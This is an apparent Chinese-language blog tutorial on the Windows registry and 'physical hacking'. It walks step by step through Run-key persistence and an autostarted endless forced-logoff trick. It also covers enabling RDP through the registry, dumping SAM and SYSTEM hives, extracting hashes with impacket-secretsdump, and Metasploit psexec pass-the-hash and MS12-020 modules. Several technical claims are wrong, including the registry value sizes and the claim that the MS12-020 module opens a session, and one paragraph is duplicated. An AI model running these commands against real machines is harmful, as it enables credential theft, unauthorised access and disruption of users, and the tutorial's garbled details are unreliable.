reg注册表研究与物理Hack
声明
:内容的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。
目录
- reg注册表研究与物理Hack
- Windows注册表
- 修改注册表实现应用程序开机自启动
- 修改注册表实现用户注销(将这个bat丢到自启动里进行无限循环注销操作)
- 物理HACK
- 修改注册表实现服务开启-(RDP远程桌面为例)
- 使用reg命令获取SYSTEM和SAM的敏感信息(拿到用户名和哈希密码)
- 在kali中将system、sam文件进行哈希提取
- MSF使用哈希密码对开启RDP的机器进行连接
Windows注册表
-
简介: 注册表是windows系统中具有层次结构的核心数据库,存储的是数据对Windows上运行的应用程序和服务至关重要。注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件。
-
开启 注册表编辑器
WIN+R 输入–> regedit
-
也可以在cmd命令行中使用reg进行注册表操作
REG Operation [Parameter List] Operation [ QUERY | ADD | DELETE | COPY | SAVE | LOAD | UNLOAD | RESTORE | COMPARE | EXPORT | IMPORT | FLAGS ]
返回代码: (除了 REG COMPARE)
0 - 成功 1 - 失败
要得到有关某个操作的帮助,请键入: REG Operation /?
例如: REG QUERY /? REG ADD /? REG DELETE /? REG COPY /? REG SAVE /? REG RESTORE /? REG LOAD /? REG UNLOAD /? REG COMPARE /? REG EXPORT /? REG IMPORT /? REG FLAGS /?翻译
- 注册表位置
windows 注册表的位置:C:\Windows\System32\config
- 注册表结构
- 注册表中,所有的数据都是通过一种树状结构以键和子键的方式组织起来的,就像磁盘文件系统的目录结构一样。每个键包含一组特定的信息,每个键的键名都是和它所包含的信息相关联的。注册表的根键共有5个,且全为大写
键值 与 类型:
键值由三部分组成: 名称、类型、数据
键值类型由常用的6种组成
字符串值(REG_SZ)
二进制值(REG_BINARY)
32位值(4个字节)(REG_DWORD)
64位值(5个字节)(REG_QWORD)
多字符串值(REG_MULTI_SZ)
可扩充字符串值(REG_EXPAND_SZ)
修改注册表实现应用程序开机自启动
windows 提供了专门的开机自启动注册表。每次开启时,它都会在这个注册表键下遍历键值,获取到键值中的程序路径,并创建进程启动程序。因此只需要将需要设置自启动的程序的路径添加到这个注册表中,便可以实现程序开启自启动功能。
常见的开机自启动注册表路径:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
注意:
要修改HKEY_LOCAL_MACHINE 主键的注册表需要管理员权限
- reg命令实现
一个bat脚本的路径是:C:\Scripts\MyScript.bat
@echo off
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MyScript" /t REG_SZ /d "C:\Scripts\MyScript.bat"
@echo off
:这行命令用于关闭命令提示符窗口中的命令回显。这样,在运行批处理文件时,命令本身不会在窗口中显示,只显示命令的结果。reg add
:这是用于添加注册表项的主要命令。"HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
:这是要添加的注册表键的路径,HKCU
代表HKEY_CURRENT_USER
,表示当前用户的注册表配置单元。/v "MyScript"
:/v
参数用于指定要添加或修改的注册表值的名称。在这里,MyScript
是自定义的值名称,可以根据需要修改。/t REG_SZ
:/t
参数用于指定注册表值的数据类型。REG_SZ
表示这是一个以空字符结尾的字符串,通常用于存储文本信息,如文件路径等。/d "C:\Scripts\MyScript.bat"
:/d
参数用于指定注册表值的数据。在这里,就是批处理文件的完整路径。
修改注册表实现用户注销(将这个bat丢到自启动里进行无限循环注销操作)
reg add “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer” /v “ForceLogoff” /t REG_DWORD /d 1 /f
reg add
:这是用于添加注册表项的命令。"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"
:这是要添加或修改的注册表键的路径。/v "ForceLogoff"
:/v
参数用于指定要添加或修改的注册表值的名称。这里的ForceLogoff
是我们设置的用于强制注销的键值名称。/t REG_DWORD
:/t
参数用于指定注册表值的数据类型。REG_DWORD
是双字节数据类型,通常用于存储整数等数据,这里用于存储注销相关的设置。/d 1
:/d
参数用于指定注册表值的数据。将ForceLogoff
的值设置为1
,表示启用强制注销功能。/f
:这个参数表示强制写入,即使目标注册表项已经存在也会进行修改。
触发注销操作
- 在修改上述注册表项后,注销操作并不会立即自动执行。可以通过以下几种方式来触发注销:
- 重新启动
Explorer.exe
进程:在任务管理器中,找到Explorer.exe
进程,右键单击它并选择 “结束任务”。然后在任务管理器的 “文件” 菜单中选择 “新建任务(运行…)”,在输入框中输入 “Explorer.exe” 并回车,这样会重新加载Explorer.exe
,系统可能会根据注册表设置进行注销操作。
- 重新启动
当然必须有在命令行执行
taskkill /f /im Explorer.exe
– 进程终止
start explorer.exe
– 进程启动
这两个命令就完成了explorer.exe 进程的重启操作
物理HACK
修改注册表实现服务开启-(RDP远程桌面为例)
- 可以先检查一下rdp的服务状态,在cmd命令行中
sc query termservice
- 使用reg开启RDP服务
reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f
-
reg add
:这是用于添加或修改注册表项的命令。 -
"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server"
:这是注册表中的路径,HKLM
代表HKEY_LOCAL_MACHINE
,这是系统级别的注册表配置单元,其中包含了系统范围的配置信息。 -
/v fDenyTSConnections
:/v
表示指定要修改的注册表值的名称。fDenyTSConnections
这个值用于控制是否允许远程桌面连接。当它的值为0
时,表示允许连接;当它的值为1
时,表示禁止连接。 -
/t REG_DWORD
:/t
表示指定数据类型,REG_DWORD
是双字节数据类型,用于存储整数等数据。 -
/d 0
:/d
表示指定要设置的数据。这里将fDenyTSConnections
的值设置为0
,即允许远程桌面连接。 -
/f
:这个参数表示强制写入,即使目标注册表项已经存在也会进行修改。
使用reg命令获取SYSTEM和SAM的敏感信息(拿到用户名和哈希密码)
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
save
是备份命令,将两个注册表文件数据进行备份获取
在kali中将system、sam文件进行哈希提取
- 使用impacket 库来提取哈希值
impacket-secretsdump -sam sam.save -system system.save LOCAL
这条命令主要用于从 Windows 系统的关键注册表文件(SAM
和SYSTEM
)备份中提取敏感信息,如用户账户和密码哈希。
- impacket - secretsdump:
impacket
是一个功能强大的 Python 库,用于网络协议的开发和利用。它提供了一系列工具来处理各种网络协议相关的任务,包括与 Windows 系统的交互。secretsdump
是impacket
库中的一个工具,专门用于从 Windows 系统的SAM
(Security Accounts Manager)和SYSTEM
文件中提取秘密信息,主要是用户账户相关的信息,如用户名、密码哈希等。
- -sam sam.save:
-sam
是secretsdump
工具的一个参数,用于指定SAM
文件的位置。在这里,sam.save
是SAM
文件的文件名,意味着命令会从名为sam.save
的文件中读取SAM
相关的信息。SAM
文件存储了 Windows 系统中用户账户和密码(以加密形式)以及账户相关的安全设置等重要信息。
- -system system.save:
- 类似地,
-system
是参数,用于指定SYSTEM
文件的位置。system.save
是文件名,这个文件包含了系统配置信息,这些信息对于解密SAM
文件中的密码哈希等操作是必需的。SYSTEM
文件包含了如系统启动配置、设备驱动程序设置等众多系统级别的信息,其中一些设置与用户账户的安全策略和密码存储方式相关。
- 类似地,
- LOCAL:
LOCAL
参数表示操作的目标是本地文件,即告诉secretsdump
工具,SAM
和SYSTEM
文件是本地存储的,不需要通过网络连接到远程系统来获取这些文件。这是在已经获取到本地文件副本后进行离线分析的一种方式。
MSF使用哈希密码对开启RDP的机器进行连接
- 前提条件准备
- 目标机器要求:目标机器需要开启 3389 端口(RDP 服务端口)。并且,你需要获取目标机器的合法登录凭证,如用户名和密码或者 NTLM 哈希。
- Metasploit 环境搭建:你需要在自己的攻击机器上正确安装和配置 Metasploit Framework。确保 MSF 能够正常运行,并且你的网络设置允许向外发起连接请求。
- 使用 psexec 模块进行 RDP 连接相关操作(通过用户名 / 密码或者哈希)
- 加载模块:在 MSF 终端中,输入命令
use exploit/windows/smb/psexec
来加载 psexec 模块。这个模块利用 Windows 的 SMB(服务器消息块)协议来在目标机器上执行命令,进而有可能建立 RDP 连接。 - 设置参数:
- 目标主机参数(RHOST):使用命令
set RHOST <目标机器IP地址>
来指定目标机器的 IP 地址。例如,如果目标机器的 IP 是 192.168.1.100,那么就输入set RHOST 192.168.1.100
。 - 登录凭证参数:
- 用户名和密码方式:如果知道目标机器的用户名和密码,使用命令
set SMBUser <用户名>
和set SMBPass <密码>
来设置登录凭证。例如,set SMBUser administrator
和set SMBPass password123
。 - 哈希方式:如果有目标机器的 NTLM 哈希,使用命令
set SMBHash <哈希值>
来设置。例如,set SMBHash aad3b435b51404eeaad3b435b51404ee:1234567890abcdef
(这只是一个示例哈希格式)。
- 用户名和密码方式:如果知道目标机器的用户名和密码,使用命令
- 本地监听参数(LHOST):设置你的本地 IP 地址(攻击机器 IP),用于接收来自目标机器的连接信息。使用命令
set LHOST <本地IP地址>
。例如,set LHOST 192.168.1.200
。
- 目标主机参数(RHOST):使用命令
- 执行攻击:在设置好所有参数后,输入命令
exploit
来尝试执行攻击。如果成功,会在目标机器上建立一个会话,通过这个会话可以进一步尝试进行 RDP 连接相关的操作,如使用命令shell
来打开一个类似命令提示符的窗口,在其中可以输入命令来操作目标机器,包括启动 RDP 客户端等操作。
- 加载模块:在 MSF 终端中,输入命令
- 利用 RDP 漏洞模块进行连接(如果目标存在相关漏洞)
- 扫描 RDP 漏洞:在尝试利用漏洞连接之前,最好先使用 MSF 的辅助模块(如
auxiliary/scanner/rdp/rdp_scanner
)来扫描目标机器是否存在 RDP 相关漏洞。加载这个模块后,设置目标机器的 IP 范围(set RHOSTS
),然后执行exploit
来进行扫描。 - 利用漏洞模块:
- 加载模块:如果扫描发现目标机器存在相关 RDP 漏洞,比如 MS12 - 020 漏洞,可以使用命令
use exploit/windows/rdp/ms12 - 020_maxchannelids
来加载这个漏洞利用模块。 - 设置参数:如同 psexec 模块一样,设置目标主机(
RHOST
)、本地监听(LHOST
)等参数。
如果扫描发现目标机器存在相关 RDP 漏洞,比如 MS12 - 020 漏洞,可以使用命令use exploit/windows/rdp/ms12 - 020_maxchannelids
来加载这个漏洞利用模块。 - 设置参数:如同 psexec 模块一样,设置目标主机(
RHOST
)、本地监听(LHOST
)等参数。 - 执行攻击:输入
exploit
命令来尝试利用漏洞在目标机器上建立会话,进而实现对目标机器的控制,包括进行 RDP 连接相关操作。
- 加载模块:如果扫描发现目标机器存在相关 RDP 漏洞,比如 MS12 - 020 漏洞,可以使用命令
- 扫描 RDP 漏洞:在尝试利用漏洞连接之前,最好先使用 MSF 的辅助模块(如